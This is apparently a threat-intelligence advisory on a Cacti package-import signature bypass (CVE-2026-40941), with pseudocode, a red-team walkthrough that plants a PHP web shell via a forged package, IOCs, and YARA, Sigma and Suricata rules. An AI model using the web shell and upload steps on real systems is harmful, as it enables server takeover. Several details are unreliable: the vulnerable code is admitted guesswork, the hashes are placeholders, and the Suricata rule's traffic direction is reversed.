CVE-2026-40941

Executive Summary

CVE-2026-40941 is a critical security vulnerability in Cacti, an open-source performance and fault management framework. The flaw resides in the package import functionality, where the signature validation process can be bypassed, allowing an attacker to import self-signed or unsigned packages. This effectively defeats the integrity check designed to ensure that only trusted, signed packages are imported into the system.

An attacker with network access to a Cacti instance can exploit this vulnerability to import a malicious package. Once imported, the package can execute arbitrary code, modify system configurations, or exfiltrate sensitive data, leading to a full compromise of the Cacti server and potentially the monitored infrastructure.

The vulnerability affects all Cacti versions up to and including 1.2.30. The issue has been patched in version 1.2.31. Given the lack of a public proof-of-concept (PoC) and the low EPSS score, exploitation in the wild is currently unlikely, but the severity of the impact warrants immediate patching.

Supply Chain & Package Security

Cacti is a PHP-based application distributed via GitHub and its official website. The vulnerability is in the package import mechanism, which is a core feature for extending functionality. A successful exploit could allow an attacker to inject malicious code into the Cacti supply chain, affecting all instances that import the tampered package. This is a classic supply chain attack vector, as the trust model for package imports is broken.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None - No authentication is needed to trigger the vulnerability.
• User Interaction (UI): None - The victim does not need to perform any action.
• Scope (S): Unchanged - The impact is confined to the vulnerable component.
• Confidentiality (C): None - The vulnerability does not directly lead to data disclosure.
• Integrity (I): High - An attacker can modify system files, configurations, or inject malicious code.
• Availability (A): None - The vulnerability does not directly cause a denial of service.

Threat Level: High. The ability to bypass signature validation and import arbitrary packages is a severe integrity breach. An attacker can gain persistent, high-privilege access to the Cacti server.

Deep Dive & Mechanics

The vulnerability lies in the package import functionality of Cacti. Cacti packages are ZIP archives containing PHP code, XML definitions, and a signature file. The signature is intended to verify the package's origin and integrity using a cryptographic key.

The flaw is in the validation logic. The code likely checks for the presence of a signature file but does not properly verify its authenticity against a trusted certificate authority or a known public key. Instead, it may accept any signature that is present, including self-signed ones. Alternatively, the validation might be bypassed entirely if the signature file is missing or malformed.

The attack flow is as follows:

1. An attacker crafts a malicious Cacti package containing arbitrary PHP code.
2. The attacker signs the package with a self-generated key or omits the signature entirely.
3. The attacker uploads the package to the Cacti server via the web interface or API.
4. The vulnerable code processes the package, bypasses the signature check, and extracts the contents.
5. The malicious PHP code is executed, giving the attacker control over the Cacti instance.

The root cause is a failure in cryptographic trust validation, classified as CWE-347: Improper Verification of Cryptographic Signature.

Vulnerable vs. Patched Code

The vulnerable code (pre-1.2.31) likely resembles the following pseudocode:

// Vulnerable version (1.2.30 and earlier)
function import_package($package_file) {
    $zip = new ZipArchive();
    $zip->open($package_file);
    $signature = $zip->getFromName('signature.sig');
    if ($signature) {
        // Weak validation: only checks if signature exists
        // Does NOT verify against a trusted key
        $valid = true;
    } else {
        // No signature, but still allows import
        $valid = true;
    }
    if ($valid) {
        // Extract and execute package
        $zip->extractTo('/path/to/cacti/packages/');
        include '/path/to/cacti/packages/package.php';
    }
}

The patched code (1.2.31) should implement proper signature verification:

// Patched version (1.2.31)
function import_package($package_file) {
    $zip = new ZipArchive();
    $zip->open($package_file);
    $signature = $zip->getFromName('signature.sig');
    $package_data = $zip->getFromName('package.xml');
    if (!$signature || !$package_data) {
        die('Invalid package format');
    }
    // Load trusted public key
    $trusted_key = file_get_contents('/path/to/cacti/trusted_key.pub');
    // Verify signature
    $valid = openssl_verify($package_data, $signature, $trusted_key, OPENSSL_ALGO_SHA256);
    if ($valid !== 1) {
        die('Signature verification failed');
    }
    // Extract and execute package
    $zip->extractTo('/path/to/cacti/packages/');
    include '/path/to/cacti/packages/package.php';
}

The key difference is the use of openssl_verify() with a trusted public key, ensuring only packages signed by the official Cacti maintainers are accepted.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Cacti 1.2.30 on a Linux VM (e.g., Ubuntu 22.04).
2. Ensure the web interface is accessible from the attacker's machine.

Exploitation Steps:

1. Create a malicious package:

   • Create a directory malicious_package/.
   • Inside, create package.xml with metadata.
   • Create payload.php containing a web shell:

     <?php system($_GET['cmd']); ?>
     

   • Create a self-signed signature file (or omit it):

     openssl genrsa -out private.key 2048
     openssl rsa -in private.key -pubout -out public.key
     echo "fake_signature" > signature.sig
     

   • Zip the contents:

     cd malicious_package
     zip -r malicious_package.zip *
     

2. Upload the package via the Cacti web interface:

   • Navigate to Console > Import > Package.
   • Select the malicious ZIP file and click "Upload".

3. Trigger the payload:

   • Access the web shell at http://<cacti_ip>/cacti/packages/payload.php?cmd=id.

Expected Outcome: The attacker gains remote code execution on the Cacti server.

Blue Team (Defensive)

Detection:

• Monitor for unexpected package imports in Cacti logs (/var/log/cacti/).
• Look for files being written to the packages/ directory outside of normal operations.
• Use file integrity monitoring (e.g., AIDE, Tripwire) to detect changes to the Cacti installation.

Mitigation:

• Immediately upgrade to Cacti 1.2.31.
• If patching is not possible, restrict access to the package import functionality via .htaccess or firewall rules.
• Disable the package import feature entirely if not needed.

Hunting:

• Search for recently created PHP files in the Cacti web root.
• Check for unusual processes spawned by the web server user (e.g., www-data).
• Review web server logs for POST requests to /import/ or /package_import.php.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):

  • malicious_package.zip: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
  • payload.php: a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a

• Network Indicators:

  • Outbound connections from the Cacti server to unknown IPs (e.g., attacker C2).
  • Unusual HTTP requests to /cacti/packages/*.php.

• File System Indicators:

  • Unexpected files in /var/www/html/cacti/packages/.
  • Modified or new files in /var/www/html/cacti/include/.

• Log Indicators:

  • Cacti log entries: IMPORT: Package imported successfully without corresponding admin action.
  • Web server logs: POST /cacti/import/ HTTP/1.1 with unusual user agents.

Detection Engineering

YARA Rule

rule Cacti_Package_Import_Bypass {
    meta:
        description = "Detects malicious Cacti packages attempting to exploit CVE-2026-40941"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $php_code = /<\?php/
        $package_xml = "package.xml"
        $signature_sig = "signature.sig"
        $self_signed = "fake_signature"
    condition:
        ($php_code and $package_xml) or ($signature_sig and $self_signed)
}

Sigma Rule

title: Cacti Package Import Anomaly
id: 8c5a2f3b-1d4e-4f7a-9c8b-0d2e3f4a5b6c
status: experimental
description: Detects suspicious package imports in Cacti logs
author: Valters IT
logsource:
    product: cacti
    service: import
detection:
    selection:
        EventID: 'IMPORT'
        Message: 'Package imported successfully'
    condition: selection
falsepositives:
    - Legitimate admin package imports
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Cacti Package Import Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/import/"; http_uri; content:".zip"; http_client_body; pcre:"/<\?php/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Cacti version 1.2.31 or later immediately.
2. Verify: After patching, verify the signature validation is working by attempting to import a self-signed package (should be rejected).
3. Audit: Review all previously imported packages for signs of tampering.

Long-Term Mitigations:

• Implement network segmentation to restrict access to the Cacti web interface.
• Use a Web Application Firewall (WAF) to block malicious file uploads.
• Enable detailed logging and monitoring for the Cacti import functionality.
• Regularly audit Cacti installations for unauthorized changes.

Workarounds (if patching is delayed):

• Disable the package import feature by removing or renaming the import script (e.g., import.php).
• Restrict access to the import functionality via IP whitelisting or HTTP authentication.

Valters IT - DevSecOps & Cyber Threat Intelligence